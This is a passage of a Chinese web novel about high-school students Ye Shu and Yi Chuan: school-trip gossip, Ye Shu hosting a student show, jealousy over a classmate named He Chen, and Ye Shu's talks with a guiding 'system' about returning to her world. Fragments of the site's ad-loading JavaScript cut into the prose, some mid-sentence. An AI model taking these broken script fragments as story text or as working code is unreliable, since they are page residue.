叶舒：“对啊，你平常不就是在人堆里不说话，装作一副被冷落的模样吗。” 易川脸色沉了下来，似乎很不满她这形容：“我不是，你别揣度我。” 他别过脑袋，神色间竟有几分傲娇的意味。 叶舒见状，像是见到稀奇物一般默默瞪圆了眼睛。 还未等她笑出声，不远处导游和老师的声音便传了过来： “高一9班的快来集合！”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “那好吧，先集合吧。”叶舒说完后便立刻离开了是非之地，免得再被易川揪着不放。 易川看着叶舒“仓皇逃离”的背影，挑了挑眉，随后才抬步前去集合。 他看向看台处，王朗已经收拾好了设备朝他的方向过来。 而王朗身后，还站着一群学生，估摸着是隔壁班的学生。 易川一眼便捕捉到人群中那一抹高挑的身影——贺琛。 他回想起刚刚他起身后，正想去扶起摔倒的叶舒，却看见贺琛竟向她伸出了手。 不知怎的，他竟怔了神，停止了动作。 - 下山后，时间已至正午，学生们乘着大巴抵达了餐馆。 这次来到的是一个大型农家乐，不同于之前的餐厅，这里没有包厢，将研学的所有学生聚集在了大厅里。 餐馆的大厅里汇聚了许多陌生面孔，天气本就炎热，现下所有人挤在一处，空气闷热得难受。 叶舒跟着自己班的导游上二楼。楼道狭窄，行进缓慢，她挤在人堆里，感觉呼吸困难，眼前被几团蓝色迷住，她一时纳闷，怎么周围都是男生。 她下意识转头，又看见了一片蓝色。 她暗自诧异着凌熙去哪了，却发现身边人竟忽地变成了易川。 “你......？”叶舒话还未说出口，前面的人堆停了脚步，她撞到人墙，也被迫停下。 “小心点。”易川的手臂伸至她背后，堪堪护住。 叶舒余光注意到身后的手臂，精瘦的小臂上几条青筋清晰可见绕至手背。 “谢谢。”她咽了口口水，忙收回眼，莫名觉得眼前的场景有些尴尬，自言自语道，“奇怪，凌熙呢......” 易川插着兜站着，相比于前头满身汗渍的男生们，他身上倒是很干净，还散发着昨晚身上那股淡淡的味道。 即使在这么局促的场面，他连眉头都没皱一下，只是默默看着眼前行进的方向。 易川接了她的话茬：“刚刚看她好像在和一个男生说话。” 叶舒了然地点了点头。 眼前的队伍迟迟没有动的迹象。 “噢，”易川忽然发出声音，“和她说话的人好像是贺琛。” 他这话补充得别有深意，叶舒侧头看向他，易川也顺势居高临下地盯着她。他面无表情，似乎也在打量她。 叶舒有些莫名其妙，索性默默点了下头，随后不再看他。 “你认识他吗？”易川问。 叶舒：“我上次不是说过了吗？不认识。” 两人前面的人似乎认识贺琛，听见两人的对话，下意识往后瞟了瞟。 其中一个男生看清叶舒长相后，忽地噤了声。 叶舒看见了男生的打量，心觉怪异，但又不知道哪怪异，便只是瞥了他一眼。 片刻后，那男生拍了拍旁边的同学，并凑近那人耳边说： “好像就是你身后那个女的。” “谁啊？” “就是之前隔壁那易川为了她和林康打架啊。” “啊？！” “嘘嘘嘘！！你小声点，易川在你后边。” 叶舒：“......” 两人越说越小声，自以为小声了身后的人就听不到了，然后现下距离太近，叶舒还是听了个大概。 被告知的那男生听后，悄悄回头，结果直直对上叶舒冰冷的目光，吓得立刻转了回去。 这两个男生叶舒有点印象，是隔壁重点班的。 如此说来就说得通了，他们认识贺琛所以下意识转头。 之前易川和林康那事闹得不小，他们肯定知道，又不知道从哪听来易川是为了她才打架，如今遇上正主，自然开启八卦模式。 “说什么呢，有本事说大声点。” 41. 起哄 叶舒侧头便看见易川漠然地看着两名男生，冲面前的男生扬眉，漆黑的瞳仁里翻滚着一抹寒意。 两名男生自知理亏，立刻噤了声，转过身再也不敢看两人。 易川嘴唇翕动，似是还要说什么，经叶舒扯了衣角，他才不再动作。 他转过头，一脸不解地看着叶舒：“你干什么？” 叶舒不说话，只是轻轻摇头，递了个眼神示意他先别说话。 易川见她神色镇定，也只能默默咽下这口气，只是抿直的唇线还是暴露出他的怒意，还在瞪着两人的背影。 队伍终于动了，前头的两人立刻抬步跟着自己班级离开，倒像做贼心虚躲着两人似的。 二人跟随着老师的指引到了一个大圆桌前，其余同学也随之坐下。 “你怎么不说话？你会愿意咽下这口气？你的性子，心里骂他们只会更狠吧。”易川还在气头上，讽刺地说着，眼神还落在坐在隔壁桌的那两名男生。 叶舒摆弄着面前的碗筷，不紧不慢地开口：“说就说吧，他们说只能证明他们关注你、好奇你，这样想来不也挺有意思的吗？而且我们也没做什么事，与他们生气反而显得我真做了什么一样，我也不至于和小孩一般见识。” “小孩？”易川轻笑出声，“装什么大人腔调，你比我还小一岁。” “......”叶舒无奈，撇了撇嘴，“我话就到这，自己领会吧。” 易川也不知道听进去没有，手撑在桌上，似笑非笑地看着她，看得叶舒心里发颤。 他语气变得阴阳怪气：“好的老师，很特别的角度，受教了。” 叶舒：“......” 谁是你老师。 …… 片刻后，凌熙出现，坐至叶舒身旁。她面色依旧发虚，但比在山上时好许多。 在叶舒的询问下，她说刚刚是找人拿些药所以耽搁了，随后她坐在叶舒身旁的位置。 不一会儿，王朗也骂骂咧咧上来了。 “挤死我了，易川你也是，转头就不见人了，我还在找你呢。” 王朗重重地坐下，额上还淌着汗。 隔壁桌又传来一小阵唏嘘声，叶舒抬眼望向声音那边，之前那名男生还在不时地往他们这桌看，瞥见叶舒的视线才心虚地低下头，然后和别的同学说话，掩饰心虚。 叶舒攥着筷子的手默默收紧，无奈周围人多，且老师和导游们皆在调整秩序，她也不想多添事端。 随即，身旁的易川忽地站起，作势要离开。 莫名地，叶舒当即抓住他的手臂：“你去哪？” 她倒是不觉得易川又是咽不下这口气打算逞一时之快，她只是觉得易川像是—— 她余光瞥到易川另一只手已触至靠着椅背的书包。 易川低着头望着她没说话，隔壁桌传来更为不小起哄声。 他浓密的双眉紧皱，好看的眼睛尽是冷意，他抬头，向起哄处递了个眼神，旋即才对叶舒说：“我换个地。” 他说着，便要走，结果又被叶舒拉回去。 隔壁桌传来更大声的起哄声，像是就在等这出好戏。 “你就坐这，你走了只会遂了他们的意。”叶舒视线移向隔壁桌那些男生，直直地看着他们每个人的眼睛，目光带着不容置喙的怒意，“这么喜欢起哄，大可以去店门口起哄，顺便为店家做做宣传，别浪费了好嗓子。” 隔壁桌顿时鸦雀无声，低着脑袋玩弄着面前的碗筷。 凌熙也听出了隔壁桌的调笑之意，扶着额附和着：“这么爱起哄，心里不会可想这八卦中心是自己吧？” 她本就脑袋晕沉，夏日聚众的地方空气又不流通，加之还有一群人聒噪的起哄声，听着叫人恶心。 王朗见易川还没坐下，便将易川的书包抢了过去藏起来：“换啥座位啊，都没座位了，你坐下吧！” 说着，他便将站着的易川拉回座位。 易川见周围几乎座无虚席，也只好坐回原来的位置，只是还是斜了眼隔壁桌的几名男生。 班长开始分发瓶装水，一个个递下去，叶舒从凌熙手里接过水，顺着方向递给易川。 易川默默接过，然后道：“我还以为你会一直忍着呢。” 叶舒：“这个年纪的男生大多都是这样的，我只是懒得说，说了其实也没多大用处。” 易川：“那你为什么还出头？” 叶舒勾了勾唇，拧开瓶盖喝了口水：“你要逞英雄，我可不就帮你说话吗？” 易川嘴角抽了抽，脸色变得难看。 他转过头去，不再吭声。 叶舒侧头观赏着他这副“被戳穿不得意”的模样，发现自己不知何时也沾染了这“恶趣味”，看见易川“吃瘪”便来趣。 - 研学最后一晚。 历年惯例是在晚饭时间进行各班的社会实践汇报演出。 整个年级在导游们的指引下纷纷入座，大厅最里处便是舞台，台上还写着“静海高中社会实践汇报演出”，明显已布置完毕。 “奇怪，一下午都不见叶舒和凌熙两人，她俩去哪了？”王朗寻了个观演出的好位置，便匆匆拉着易川前去占着。 “不知道。”易川不咸不淡地应了声。 “我记起来了。”王朗收拾着书包时突然出声，“凌熙是学生会组织部的，这个演出就是学生会组织的，可能凌熙把叶舒叫去了。” 王朗是学生会外联部的，自然清楚。 易川：“我记得你不就是学生会的吗，你怎么没去帮衬？” 王朗呵呵一笑，得意地解释：“我是外联部的，这种苦活当然是组织部去办，用不上我。” 易川勾了勾唇，没继续问，低着头看着自己手里的Kindle。 ...... 音乐声渐起，大厅的灯光逐渐暗了下来。 昏暗的大厅，只剩下舞台上五彩缤纷的灯光闪烁着。 易川默默收了手中的阅读器。 “我去，叶舒怎么在那！” 王朗惊讶地拍桌站起。 他这一举动惊到身旁的同学，男同学嫌弃地斜了眼他：“王朗你坐下，挡着我了。” 王朗这才坐下，随即攥着易川的衣袖摇晃着，布料在他手里揉作一团：“易川你快看啊！！” 易川这才抬起头，望向亮着光的舞台。 在那彩光闪烁着的灯光下，一男一女站定在舞台中央。 灯灭了又亮，一束聚光灯打在舞台中央，主持人的面容清晰地展现在众人面前。 叶舒身着最普通的夏季校服，身姿挺拔地手持麦克风站在舞台中央，漆黑明亮的眼睛落落大方地望着前方，脸上挂着浅浅的笑容，毫不怯场。 她那总高高扎起的长发如今披在身侧，黑发白肤，给她平日沉静的模样带上了不少温婉的气质。 “叶舒今天好漂亮啊~” 同班的女生们见是熟悉的人忙尖叫着给她助力呐喊：“叶舒啊啊啊啊啊——！叶舒！” 叶舒成绩优异，安静内敛，加上她长相有些攻击性，时常让人觉得她有些严肃，久而久之大家忽略了她那张漂亮的脸蛋。 女孩们的欢呼声浪过大，几乎要盖过背景音乐，台上的叶舒自然听见了，不免笑场了一瞬，随后又立刻恢复状态，镇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 定地看着台下。 王朗夹着桌上的前菜感叹道：“这叶舒瞒得真好，当主持这事也不告诉我们。”说罢，他用手肘顶了顶一旁的易川，“你知道这事不？” 易川：“不知道。” “你也不知道啊？她连这事也不告诉你啊？我还以为你会知道呢。”王朗没心眼地说道。 易川盯着台上的两人，一个眼神都没给他，语气重了些许：“吃东西时别说话。” 叶舒手拿话题，脸上挂着得体的笑容：“各位老师们、同学们，晚上好。经历了四天的社会实践，我们终于迎来了此次研学的尾声。” 男主持：“这四天的社会实践有苦有甜，有笑也有累，也相信大家在这四天里的社会实践收获颇多，所以我们也特地给老师们和同学们准备了汇报演出的环节，那么接下来的时间便完全交由我们的同学，汇报演出正式开始！” 灯光变暗，只剩下舞台的展示屏的亮光渐亮，照出两位主持人相继下场的身影。 男生先行下了台阶，随后转身向身后还在台上的叶舒伸出了手，显示屏刺眼的亮光描出了那只手的轮廓。 顺着那手望去，才发现男主持人竟是贺琛。 王朗絮叨道：“没想到叶舒竟然和贺琛合作了，这两人认识吗？贺琛是学生会的，可叶舒不是吧？” 他看见贺琛向叶舒伸出了手，随即瞪圆眼睛，看向易川，震惊地问：“你看见没你看见没？！” 易川微抬眼，向王朗递了个嫌弃眼神，明摆着对他吵闹的行为感到不适。 王朗：也不知道他看见那幕没…… - 舞台后台。 叶舒借着舞台的灯光在昏暗的环境下背着下一场的稿。 下一秒，一道亮光从身后出现，落在她的稿子上。 她回头，对上贺琛的目光，随后注意到他开了手机的手电筒给自己打光。 “谢谢。”叶舒向他道谢，“不过我看得清，没事。” 贺琛微微一笑：“你好努力。” 他没收手电筒的光，依旧给她打着。 他这话像没话找话，叶舒便客套地回他：“毕竟是救场被拉来的，还是得做足准备，不想丢脸。” “你说得挺好的，而且长得也——”贺琛顿了顿，然后说，“很有主持人的气场。” 叶舒愣了一瞬，贺琛这话头起得令人不知怎么回，让人尴尬，但她还是配合地笑了笑：“谢谢。” 贺琛很会察言观色，腾了空间给叶舒专心背稿，不再打扰她。 叶舒转头再次专注于背稿。 那天晚上，凌熙学生会组织部开会，临时接到原定的女主持人因为过敏送往医院并被父母接回静海市了，学生会里人人皆有安排，一时间也找不到人，女主持位便这么空了下来。叶舒也是被凌熙灵光一现叫来救场的。 ...... “不要吧，我没经验。”叶舒推脱着。 凌熙数手指细数着主持人应有的条件：“你个子高，声音好听，长得也好看，气质也好，推荐你怎么不行了！” ...... 在凌熙的举荐下，她接受学生会的面试，最终被学生会认可，便临时拉做了这主持人。事态匆忙，她也没有亮眼体面的衣物，只能身着这身略显朴素的校服。 仔细算来，她加上彩排也就练了不过三四次。 好在社会实践的汇报演出本就为学生们图一乐呵，没那么多要求。 想到这，叶舒与贺琛搭话：“你没有准备主持的衣服吗？” “什么？” 舞台上的音乐声太大，贺琛侧身将耳朵靠近她。 42. 试探 男生的气息骤然离近，叶舒默默离远了些，提高了音量问他：“你没有准备主持的衣服吗，就这身校服？” 贺琛眨了眨眼睛，“有准备一件白衬衫。” 叶舒：“那怎么没穿？” 贺琛思考了一会，随后眼神落在叶舒的校服上，和煦地弯了弯唇：“那个我觉得穿上有些像卖保险的。” 叶舒被逗笑，接受了这个理由。 - 叶舒和贺琛两人道完结束语，这场汇演才算正式结束。 大厅内清脆的碗筷声渐起，学生们正式开始进餐环节。 叶舒绕到后台等凌熙收拾完现场才回到班级的餐桌区域。 “叶舒！凌熙！这！” 班长冲她俩用力挥手，指引她们坐到自己留的位置。 入座后，女同学们围着叶舒仔细看着她的脸，夸道：“你化妆了啊，好好看！刚刚在台上都看不出你化了妆！” 叶舒样貌略成熟，气质出众，平日那双微微上扬的眼睛莫名稍显疏离，现在在妆容的加持下，倒有几分妩媚。 被这么多双眼睛盯着，叶舒还有些不习惯，不好意思道：“表演的同学给我临时化了一点。” “叶舒，你瞒得好深啊，当主持人都不和我们讲。” 闻声，叶舒抬眼，是王朗在说话，他身旁还坐着正安静吃饭着的易川。 她望向他们那处时，易川也正好看向她这方向，两人视线交汇片刻，他又默默敛眉，低下头喝水。 叶舒收回视线，看向王朗解释道：“我也只是临时被叫去救场。” 班长拉着凌熙和她八卦着：“诶，那男主持人是不是贺琛，你俩是不是认识他？他人怎么样？” 凌熙误会了，反问：“你对他有意思啊？” 班长连忙摆手否决：“我不是，我隔壁班同学说他又帅又好，我就想问他本人咋样？” 凌熙拧了拧眉，颇为熟稔地评价他：“嗨，就那样吧。” 班长又看向叶舒，叶舒没心思聊这些，只想吃饭，将话题丢给凌熙：“我和他不熟，凌熙和他以前是同学，应该了解点。” 贺琛为人礼貌正气，正得有些无趣，没什么可八卦的，几人没聊多久话题又移开了，专心投入吃饭上。 下午彩排时，叶舒喝了很多水润嗓子，准备上场后便没去过厕所，现在节目结束便不用顾及了，离席前往洗手间。 从洗手间出来后，叶舒从连廊打算回大厅，却遇见了正巧从男生洗手间出来的易川。 两人见到对方皆是一愣。 “这么巧。”在这样的场合下说话难免尴尬，叶舒客气了一句便要离开返回大厅。 “见到我就跑，讨厌我？” 易川的声音从耳后响起，不知是否是走廊空旷的缘故，他的声音略显喑哑。 叶舒步子顿了顿，她侧了侧身，无辜地笑了笑：“你觉得这是个好的说话地？” 她眼神看向他头顶的指示牌——洗手间。 易川向她的方向移了几步，随后便与她并肩回大厅。 叶舒不解地看着身旁的男生，然而易川没有看向她，只是跟着她的步伐走。 “恭喜。”易川低眉看着眼前的路道，她看不清他眼底的情绪，只看见他那纤长的睫毛。 叶舒：“什么？” 易川：“不鸣则已，一鸣惊人。” 叶舒知道他在说这次主持的事，便客套地回：“你在夸我？谢谢。” “所以你瞒着我和王朗是不让我们知道你要当主持人吗？” 易川这么问，视线落回她脸上。 虽说叶舒觉得他这话莫名其妙，但看着他的问讯打量的眼神，一时又愣了神。 她含糊其辞：“班长她们也不知道，只有我和凌熙知道，我也只是临时救场的。” 她确实有时机与他俩告知，只是她性子使然，没觉得将这事告诉他俩有什么必要。 易川勾了勾唇，抬手止住她的话：“行了，你说了很多遍了，我知道。” 叶舒茫然：“你知道什么？” “没把我和王朗当回事。”易川也不知是真讽刺还是开玩笑，只是无谓地看了看手腕上的手表，随后便径直离开。 叶舒顿感莫名其妙，追上去质问他：“啊？我只是忘了说而已，你把这么大的罪安我头上有点太过了吧。” 他停住，叶舒没收住脚步，脸撞上他手臂。 “你故意的吧......”叶舒摸了摸脸，随后发现易川的校服袖口上，映上了自己的一点妆。 OMG…… 易川视线落在那一抹淡红，眉眼间看不出什么神色。 叶舒尴尬地抬头看他：“不好意思，这个——” 易川颇为无奈地拍了拍袖口：“没事。” “没事就行，回去吧。”叶舒故作喃喃自语，一心只想逃离。 “你不是说你不认识贺琛吗？”易川的声音再次从身后传来。 叶舒脚步顿了顿，思绪在脑中飞快运转——所以易川刚刚说那么话就是想问贺琛的事？ 她转身：“之前是不认识，但现在也没多熟。” 易川走近她，似在观察她脸上的表情：“我咋感觉你好像很久以前就知道他？” 叶舒眼睑微颤。 见易川的神态似是只是怀疑她与贺琛之间的关系，并非怀疑她的身份，她便不再顾忌，微微一笑点破话题：“你觉得我对他有意思？” 易川没说话，只是似笑非笑地看着她。 “不然你问这问题干嘛？”叶舒也学着他轻佻的模样，凝视着他那双狭长的丹凤眼，只是说出的话却透着严肃。 叶舒：“易川，你说话总是带有歧义。” 易川收回玩味的神情，认真重复她这话：“歧义？” “对，你说话总让人误会。”叶舒直勾勾地看着他，语气平白有一丝怨气，但她面上依旧平淡，像只是在说一件平常小事。 如今也好，曾经也好，都是这样。 易川总是说一些让她误会的话语。 易川敛眉，似是不理解她的话语和态度。 “希望你以后说话都不要让人觉得误会。”叶舒故作泰然地笑了笑，没多解释便径直离开回了大厅。 …… 两人一前一后回了饭桌，其他人看不出来，但凌熙还是偷偷在叶舒耳边问：“你俩咋一起了？” 叶舒看着还有些发颤的手，默默握紧，向凌熙解释说：“刚好遇到。” 两人的对面。 易川一坐下，王朗便发现易川袖口上沾上了些什么。 王朗：“你袖口脏了，咋搞的？”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>易川侧头看了眼袖口，随后瞥了眼对面的叶舒： “没事。” 王朗茫然地瞪圆眼睛：“？？？你没事啥？” - 研学后，临近期末考，众学生又立刻回到了日常的学习状态。 午间放学，盛夏蝉鸣声，烈日下，叶舒和凌熙撑着伞往食堂走去。 凌熙望向原本是高三生的教室，现如今空荡荡的，桌椅摆设也还是原本高考考场的布置。 她感慨道：“上周还有人坐那，现在突然空了还真不习惯。” 叶舒顺着她的方向望去，视线定格那处在空荡荡的桌椅，感慨地勾了勾唇角：“确实，时间真快。” 竟然就要高二了，她的攻略将达三分之一。 “好快啊，竟然就要高二了。”凌熙忧心忡忡道，“下学期好像又要分班，不知道我还能不能和你一个班。” 叶舒：“为什么不行？” 凌熙：“你这成绩肯定去重点班啊。” 叶舒：“你的成绩肯定也能进重点班。” 凌熙还是忧虑道：“重点班有几个，也不知道我俩能不能分到一个班。” 叶舒拍了拍她的胳膊安慰道：“应该可以的。” “而且，也有点舍不得现在班的人。你不会舍不得吗？毕竟易川和王朗和你同学那么久了。”凌熙想想以后将在一个陌生的环境一切重新开始就焦虑，随后她忽然想起什么，抬起头问叶舒，“说起来，你和易川怎么回事？自从研学回来感觉你俩就怪怪的。” “这个啊......”叶舒若有所思。 她回想起经她与易川上次对话后，系统对她说的话。 系统：【你不要跟我说你还看不出他对你有意思？】 叶舒坦然回复：【我看得出啊。】 系统：【那你之前跟我一直装傻？】 叶舒：【你也看到他那时的反应了，你敢说他很喜欢我吗？】 系统沉默。 研学晚会那日两人的对话，她的话虽然温和而且并未直白道出，但她知道，易川听得懂。 叶舒：【或许他对我是有些不一样的意思，但很明显，他没有完全动心，只要他想抽身就可以抽身。可我没得选择。我若是要回到原来世界，就必须一击必中完全拿下他，在此之前，我只能和他保持现在的关系。而且就他现在的成绩......别的动荡只会让他分心，成绩更差。】 系统无奈：【行吧，你也别太晾着他，小心别玩脱了。】 其实两人之间也没有系统说得那么严重，只是叶舒现在单方面没怎么理易川。 而易川那边，似乎也在等着她这边松口。 “还好吧，过几天就好了。”叶舒对凌熙说，把这话题默暗暗揭过。 - 两人吃完饭，走出食堂时恰好遇见易川和王朗。 不过，仅仅只是打个照面。叶舒中午不回宿舍，寒暄后便与其他人分道扬镳了。 叶舒逆着人流前往教学楼。 盛夏午后的阳光浓烈，石青路上来来往往晃悠着无数人影。 越近教学楼，人也越少，身后的脚步声也逐渐清晰。 她停步回头，看见那熟悉的面孔。 烈阳照在后面那人冷白的脸上，衬得他肤色像在发光。 易川。 43. 谎言 听王朗说，他俩应该经常去打球，怎么还会那么白？ 见到易川，叶舒是有些意外的：“你怎么在这？” 易川倒是没有被抓包的局促，反而面不改色地走近她：“有事想说。” 叶舒：“我们不是同桌吗？想说什么下午就能说。” “我怕我忘了。”易川不忘打趣自己，“你知道的，我记性很差。” “那你说吧。”叶舒往沿廊下走，易川便默默跟上。 正午，日光正烈，树影挥舞在廊壁上，闹着聒噪的蝉鸣声。 叶舒：“你想说什么？” 易川倒也不含糊：“上次研学的事。” 见他难得如此直白，叶舒不免惊讶，抬眼瞧他。 看来他也不算太蠢。 叶舒：“你想说什么？” 易川轻笑出声，戏谑地瞥了她一眼：“我是成绩差，不是蠢。而且——”他侧头看向叶舒，语调颇有深意，“你不就想我听懂吗？” 叶舒抬起头，两人视线交汇，随后相视一笑。 “我还以为你会像以前一样，‘大智若愚’，装到最后一刻。”叶舒嘲讽他以前的行为，毕竟他最擅长的就是沉默，然后将事情随时间揭过。 易川吊儿郎当地转着手里的校卡套：“你不是说不要做让人误会的事吗？” “所以你就直接不装了，现在玩直白的一套？”叶舒指的是他过来和她坦言的这件事。 易川嘴角挂着若有似无的笑，似乎被她拿捏够了，索性不装了：“只是有话就说罢了。” 叶舒了然点头：“好吧，那你可以回去了。” 说着，她便转身走向图书馆的楼梯。 “你去哪？”易川问她。 叶舒指了指图书馆的标牌，以作回应。 本以为易川会就此作罢回宿舍，结果他还跟着她上了2楼。 现在是午休时间，来图书馆的学生不多。 如今盛夏，图书馆冷气开得很足，四下人少，尤为清静。 “上一年学了，还没来过图书馆。”易川打量着图书馆的建设构造。 “没事，有些人上了三年学也不一定知道。”叶舒不咸不淡地回应，随后走到自己占的位置。 易川坐到叶舒对面的位置：“我以为你会说‘你要是来就不正常了’。” 叶舒可没有那心思去贬低他，对他这揣度她连眼睛都懒得抬，提醒他图书馆的规矩：“进来后就小声点。” 易川无奈压低声音，看着叶舒摊开作业的模样，打趣道：“这么努力，你不累吗？” “累啊，考完期末考就行了。” 叶舒自己又何尝愿意呢？不过也是迫于无奈。 易川：“以你的成绩，重点班不是手到擒来。” 叶舒觉得好笑：“或许会有不学习就能考很好的人，但那人不会是我。天道酬勤，我当然要靠自己努力。” 易川转笔的动作顿了顿，没说话。 叶舒：“而且你知道我为什么不去教室学吗？” 易川轻轻用手指敲击着桌面，探究的目光看着她，顺着她话问：“为什么？” “因为，总会遇见林康。”叶舒想起这学期初开学时与林康打的赌，“他其实挺努力的，我可不想被他比下去，成绩越高他便越没机会阴阳怪气了。” 人外有人，天外有天，叶舒本不在乎这些。只是想到若是自己作为一名教师还遂了林康那毛头小子得意，按照原世界的发展，下个学期两人是一个班，届时，他定会再次对自己阴阳怪气，想想便觉得不甘。 大概没想到叶舒竟是为了这么“功利性”的理由，易川笑出声，弯了弯唇角，笑容难得有些温和，平日稍显冷冽的双眼如今带着笑意看着她：“你会成功的。” 易川：“这样想，下个学期大概只能在隔壁班看见你了。” 隔壁班便是林康所在的班，是最好的理科重点班。以叶舒的成绩，去隔壁班不在话下。 叶舒回忆起过去和林康一个班时，总莫名对上林康那让人不适的打量的目光，即使时隔多年，想起来仍不免起鸡皮疙瘩：“大概吧，不过若是要和林康一个班，那还不如呆在原班。” 易川好笑地扯了扯嘴角：“那你还是去他们班吧。” “这么想我过得不好？”叶舒调侃道。 易川：“我只是很期待你去到他们班后，林康的表情。” 语毕，两人心照不宣地相视一笑。 随即，易川起身，准备离开。 “要走了？”叶舒抬头看他。 易川不以为然：“我又没带作业。” “我这有。”叶舒早就猜到他会这么说，拍了拍她桌面另一本作业，“我还以为你跟过来是要也要一起学习。” 易川嗤地笑出了声，“我怎么——” “叶舒。” 易川大概是想说“你觉得我会学吗”，可惜被一道声音打断了。 闻声，叶舒看向易川身后的那人。 ——贺琛。 叶舒微微一愣。 他怎么在这？ 她视线下移，注意到贺琛手里的教辅书和卷子——看来他也是舍弃午休时间来图书馆复习的。 原先和贺琛同班时，午休时间叶舒在教室学习时从未见过贺琛，那时候她只觉得贺琛是善于劳逸结合的学生。 原来他是来图书馆学了。 贺琛冲两人笑笑：“真巧，你们也来这学习啊？” 易川微微颔首，当作回应。 叶舒好奇地打量着两人：“你们认识？” 贺琛看向易川，友善地笑着说：“对，一起打过球。” 叶舒目光扫向易川，他低垂着眼，还是那副淡漠的模样。 看来是不熟...... 贺琛：“你们一起来学习啊？” “啊，他——”叶舒刚想说“易川要走了”，便看见易川重新坐回对面的位置。 随后，她便听见他说： “对。” 叶舒哑然。 ——你最好是。 - 时针划过一格。 叶舒看着眼前眯着眼打盹的人，叹了口气。 某人硬要逞强，结果呆在这结果做了没几道题就睡觉了。 算了，他能耐着性子坐在这做题就很不错了。 叶舒望了眼壁钟，将作业本缓缓关上。 她放下笔，两手托腮看着眼前的男生。 少年单手托着下颌，侧着脸阖着眼，柔长的睫羽静静地落在脸颊上，倒是让这张讨嫌的脸添了些许清秀沉穆的气质。 易川眉骨与鼻梁生得极好，五官精致优越，如若不是他这个性子，相信定会有许多人愿与他亲近。 易川啊易川，还有两年，希望你能“咸鱼翻身”，这样她也能顺利回家。 叶舒见周围学生陆续收拾东西起身，便敲了敲易川面前的桌子。 易川睫毛颤了颤，深邃的眼睛缓缓睁开，漆黑的瞳孔还有些刚睡醒的失焦，在看清她后逐渐清明。 易川声音还有些沙哑，懒懒地开口：“咋了？” 叶舒收拾起东西：“要上课了，该走了。” 易川还没醒神，慢悠悠地站起，帮着叶舒收书，随后跟着她回教学楼。 他打了个哈欠，朝叶舒有一搭没一搭问道：“你没睡会？” 叶舒：“眯了一会儿。” 易川望着道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 路的前方，忽然说：“你要是和林康一个班，就和他一个班了吧。” 叶舒循着他的目光看去，望见了贺琛那挺直的背影。 “大概吧。”叶舒不以为意。 “你觉得他怎么样？” “......” 叶舒没吭声，余光捕捉到易川似乎正在观察她的反应。 这段时间以来，易川已经旁敲侧击试探了她好几次类似的关于贺琛的问题。 她不是不懂，她先前还可以麻痹自己说易川只是逗她好玩，可自从这类问题越来越多，她也逐渐发现了易川对自己的不一样。 之前，系统建议让易川喜欢上她，她不愿用这方式，不曾想，误打误撞却让易川对自己有意了。 所以研学表演那晚，她直言指出他的问题，为的就是试探他对自己的感觉究竟是什么。 可明显，他自己也不知道，所以他那时选择沉默。 叶舒了解他，他这么自视冷傲，实则孤僻谨慎，没有百分之百的把握，他不会主动捅破那层纸。 而叶舒也不能让他捅破这层纸，因为她的攻略才走过三分之一，就算她采纳系统的建议，那就是早恋！ 易川成绩摇摆不定，若是易川成绩有个万一，她可担不起这责任。 她绝不能让任何有可能影响她的攻略因素出现。 “你是不是想问我喜不喜欢他？”叶舒抬起头，漆黑的双眼直勾勾地盯向他，像是要将他看穿。 易川微愣，动作一滞，明显没想到叶舒竟如此直接挑明。 叶舒：“我看你老是问我关于他的事，你是想问这个吗？” “我不喜欢。”叶舒一字一顿道。 易川嘴唇翕动，似是要说什么，叶舒继而补充道： “不过，他和我以前喜欢的人类型有点像。” 易川瞳孔微缩：“你，喜欢过人？” 叶舒被他的话语逗笑：“我喜欢过人很稀奇吗？人小时候不免会有春心悸动、好感过的人吧。” 不知不觉间，两人已抵达教室门前。 叶舒将易川手里的书拿过，并道谢：“好了，要上课了，谢谢你。” 她没注意易川当下的表情，径直回了座位。 她也无心注意，因为她说完那句话后，耳边便被系统尖锐的爆鸣声淹没。 系统：【你疯了？！！他明明都开始喜欢你了！你为什么还是不听我之前的建议让他就此喜欢上你，然后好开展你的攻略计划？！】 叶舒放下书，随后扯了扯有些耳鸣的双耳，不紧不慢回系统：【你觉得他是喜欢我，还是好感于我？】 系统噤声了，为保证攻略者完全发挥自主性，它也没法窥探攻略对象的内心。更何况，人类的感情本就复杂，又岂是三言两语就能描述清楚的。 叶舒：【从上次研学的对话便可以看出，他对我仅是稍与人不同的好感。而且他今天会向我解释上次研学的话，便表明，他也没有想与我捅破那层纸，他只想保持现状。】 系统大着胆子问了句：【你是不是害怕，害怕他对你不是喜欢。】 闻言，叶舒叹了口气，轻合上眼帘。 她不避讳，也不想避讳，向系统直言道：【对，我害怕，我赌不起。】 她害怕，她害怕像原来一样，她害怕是她自作多情。她害怕自己接近他，他又立刻抽离说他对她仅是朋友间的好感，她怕自己再成为那笑话，那样她就真的功亏一篑了。 叶舒合上眼，再一睁眼，眼神又变回平日淡漠的模样，却又多了几分坚决：【还有两年时间，两年太长了，长到无法预估。他若哪天变心，我们就真回不去了，我也回不去了。人心善变，我不能拿我回去的可能赌。】 44. 高二 “高二，是高中的分水岭。相信大家听过不少这样的话了，但我现在可以在这明确说明，这句话说得不错！” 教导主任站在台上用着激昂的语气说着每年都雷同的话。 台下，凌熙听了这话后打了个大哈欠。 周一晨会本就容易犯困，还要听上了年纪的主任说着无趣的说教演讲。 遭罪！ 凌熙：“这话我初二也听过，初三也听过，高一好像也听过，怎么年年都很重要，年年都是分水岭。” 闻言，叶舒勾唇，讥诮道：“以后也会听到的。高三是分水岭，大学是分水岭，毕业工作是分水岭，25岁是分水岭，30岁就要准备棺材本了。” 凌熙掩嘴偷笑：“那60岁该干啥？” 叶舒：“告诉孩子，高二是分水岭，大学是分水岭，然后30岁准备棺材本......” “哈哈哈哈~” “凌熙。” 班主任杨丽丽严厉的声音从身后传来。 凌熙动作僵住，默默松了手，正襟危坐。 她与叶舒刚进重点班，自然要给新班主任留下好印象，一时不敢造次。 冗长的演讲总是无聊，凌熙见班主任绕至队伍后面了，便小声与叶舒八卦道：“我听以前班同学说，9班来了个转校生。” 